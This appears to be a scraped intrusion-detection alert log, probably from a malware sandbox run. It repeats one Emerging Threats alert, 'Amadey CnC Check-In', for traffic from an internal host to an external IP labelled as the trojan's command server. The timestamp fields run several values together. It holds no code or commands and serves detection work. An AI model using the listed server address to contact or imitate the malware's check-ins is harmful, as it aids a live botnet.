SID:	2027700
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449957802027700 02/08/23-21:32:27.889281
SID:	2027700
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449779802027700 02/08/23-21:31:38.749643
SID:	2027700
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449877802027700 02/08/23-21:32:05.223019
SID:	2027700
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449952802027700 02/08/23-21:32:26.521263
SID:	2027700
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449756802027700 02/08/23-21:31:30.104619
SID:	2027700
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449816802027700 02/08/23-21:31:47.785160
SID:	2027700
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449929802027700 02/08/23-21:32:20.553590
SID:	2027700
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449834802027700 02/08/23-21:31:52.577365
SID:	2027700
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449741802027700 02/08/23-21:31:26.473669
SID:	2027700
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449869802027700 02/08/23-21:32:03.296837
SID:	2027700
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449960802027700 02/08/23-21:32:28.668791
SID:	2027700
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449782802027700 02/08/23-21:31:39.471649
SID:	2027700
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449764802027700 02/08/23-21:31:32.057321
SID:	2027700
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449811802027700 02/08/23-21:31:46.576529
SID:	2027700
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449887802027700 02/08/23-21:32:07.638708
SID:	2027700
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449924802027700 02/08/23-21:32:19.271281
SID:	2027700
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449769802027700 02/08/23-21:31:34.756431
SID:	2027700
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449906802027700 02/08/23-21:32:12.698779
SID:	2027700
Source Port:	49906
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449728802027700 02/08/23-21:31:23.125330
SID:	2027700
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449882802027700 02/08/23-21:32:06.440098
SID:	2027700
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449947802027700 02/08/23-21:32:25.015743
SID:	2027700
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449965802027700 02/08/23-21:32:30.025255
SID:	2027700
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449904802027700 02/08/23-21:32:12.046729
SID:	2027700
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449711802027700 02/08/23-21:31:11.882854
SID:	2027700
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449867802027700 02/08/23-21:32:02.794106
SID:	2027700
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449864802027700 02/08/23-21:32:02.060206
SID:	2027700
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449962802027700 02/08/23-21:32:29.257081
SID:	2027700
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449705802027700 02/08/23-21:31:10.447077
SID:	2027700
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449818802027700 02/08/23-21:31:48.341113
SID:	2027700
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449959802027700 02/08/23-21:32:28.422447
SID:	2027700
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449870802027700 02/08/23-21:32:03.546238
SID:	2027700
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449726802027700 02/08/23-21:31:22.634931
SID:	2027700
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449821802027700 02/08/23-21:31:49.045771
SID:	2027700
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449824802027700 02/08/23-21:31:49.780553
SID:	2027700
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449754802027700 02/08/23-21:31:29.621347
SID:	2027700
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449751802027700 02/08/23-21:31:28.918585
SID:	2027700
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449895802027700 02/08/23-21:32:09.563402
SID:	2027700
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449934802027700 02/08/23-21:32:21.786854
SID:	2027700
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449937802027700 02/08/23-21:32:22.552019
SID:	2027700
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449892802027700 02/08/23-21:32:08.821841
SID:	2027700
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449839802027700 02/08/23-21:31:55.963337
SID:	2027700
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449797802027700 02/08/23-21:31:43.170405
SID:	2027700
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449854802027700 02/08/23-21:31:59.659125
SID:	2027700
Source Port:	49854
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449721802027700 02/08/23-21:31:17.546135
SID:	2027700
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449940802027700 02/08/23-21:32:23.296032
SID:	2027700
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449889802027700 02/08/23-21:32:08.107631
SID:	2027700
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449718802027700 02/08/23-21:31:15.921504
SID:	2027700
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449759802027700 02/08/23-21:31:30.808118
SID:	2027700
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449932802027700 02/08/23-21:32:21.312523
SID:	2027700
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449926802027700 02/08/23-21:32:19.767739
SID:	2027700
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449713802027700 02/08/23-21:31:12.783643
SID:	2027700
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449897802027700 02/08/23-21:32:10.032773
SID:	2027700
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449967802027700 02/08/23-21:32:30.528686
SID:	2027700
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449790802027700 02/08/23-21:31:41.465182
SID:	2027700
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449862802027700 02/08/23-21:32:01.593618
SID:	2027700
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449789802027700 02/08/23-21:31:41.224340
SID:	2027700
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449748802027700 02/08/23-21:31:28.171578
SID:	2027700
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449784802027700 02/08/23-21:31:39.982751
SID:	2027700
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449826802027700 02/08/23-21:31:50.292455
SID:	2027700
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449909802027700 02/08/23-21:32:14.933906
SID:	2027700
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449832802027700 02/08/23-21:31:51.751305
SID:	2027700
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449743802027700 02/08/23-21:31:26.963197
SID:	2027700
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449930802027700 02/08/23-21:32:20.796642
SID:	2027700
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449838802027700 02/08/23-21:31:54.373776
SID:	2027700
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449936802027700 02/08/23-21:32:22.307700
SID:	2027700
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449927802027700 02/08/23-21:32:20.024415
SID:	2027700
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449829802027700 02/08/23-21:31:51.027291
SID:	2027700
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449945802027700 02/08/23-21:32:24.485227
SID:	2027700
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449856802027700 02/08/23-21:32:00.132402
SID:	2027700
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449749802027700 02/08/23-21:31:28.419020
SID:	2027700
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449847802027700 02/08/23-21:31:57.967039
SID:	2027700
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449758802027700 02/08/23-21:31:30.574106
SID:	2027700
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449786802027700 02/08/23-21:31:40.457663
SID:	2027700
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449767802027700 02/08/23-21:31:33.408799
SID:	2027700
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449875802027700 02/08/23-21:32:04.746050
SID:	2027700
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449780802027700 02/08/23-21:31:38.981621
SID:	2027700
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449710802027700 02/08/23-21:31:11.651177
SID:	2027700
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449860802027700 02/08/23-21:32:01.115035
SID:	2027700
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449911802027700 02/08/23-21:32:16.121219
SID:	2027700
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449813802027700 02/08/23-21:31:47.049281
SID:	2027700
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449902802027700 02/08/23-21:32:11.276709
SID:	2027700
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449771802027700 02/08/23-21:31:36.658549
SID:	2027700
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449822802027700 02/08/23-21:31:49.295197
SID:	2027700
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449733802027700 02/08/23-21:31:24.349655
SID:	2027700
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449946802027700 02/08/23-21:32:24.773081
SID:	2027700
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449857802027700 02/08/23-21:32:00.376328
SID:	2027700
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449898802027700 02/08/23-21:32:10.281507
SID:	2027700
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449768802027700 02/08/23-21:31:33.720032
SID:	2027700
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449964802027700 02/08/23-21:32:29.755518
SID:	2027700
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449739802027700 02/08/23-21:31:25.862579
SID:	2027700
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449828802027700 02/08/23-21:31:50.782978
SID:	2027700
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449917802027700 02/08/23-21:32:17.561486
SID:	2027700
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449894802027700 02/08/23-21:32:09.316597
SID:	2027700
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449918802027700 02/08/23-21:32:17.798708
SID:	2027700
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449770802027700 02/08/23-21:31:35.698493
SID:	2027700
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449787802027700 02/08/23-21:31:40.714503
SID:	2027700
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449752802027700 02/08/23-21:31:29.152515
SID:	2027700
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449841802027700 02/08/23-21:31:56.501984
SID:	2027700
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449901802027700 02/08/23-21:32:11.021221
SID:	2027700
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449968802027700 02/08/23-21:32:30.770420
SID:	2027700
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449806802027700 02/08/23-21:31:45.331321
SID:	2027700
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449812802027700 02/08/23-21:31:46.808504
SID:	2027700
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449714802027700 02/08/23-21:31:13.211259
SID:	2027700
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449803802027700 02/08/23-21:31:44.620668
SID:	2027700
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449879802027700 02/08/23-21:32:05.692639
SID:	2027700
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

